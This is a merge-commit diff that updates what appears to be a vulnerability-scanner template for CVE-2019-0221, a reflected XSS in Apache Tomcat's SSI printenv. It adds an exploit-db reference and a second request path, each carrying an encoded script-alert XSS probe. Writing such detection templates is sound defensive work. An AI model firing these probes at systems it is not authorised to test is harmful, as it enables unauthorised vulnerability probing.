Merge pull request #2284 from pikpikcu/patch-242

Update CVE-2019-0221

cves/2019/CVE-2019-0221.yaml

@@ -7,6 +7,7 @@ info:
   reference: |
     - https://seclists.org/fulldisclosure/2019/May/50
     - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
+    - https://www.exploit-db.com/exploits/50119
   description: |
       The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and
       7.0.0 to 7.0.93 echoes user provided data without escaping and is,
@@ -18,6 +19,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
+      - "{{BaseURL}}/ssi/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
 
     matchers-condition: and
     matchers: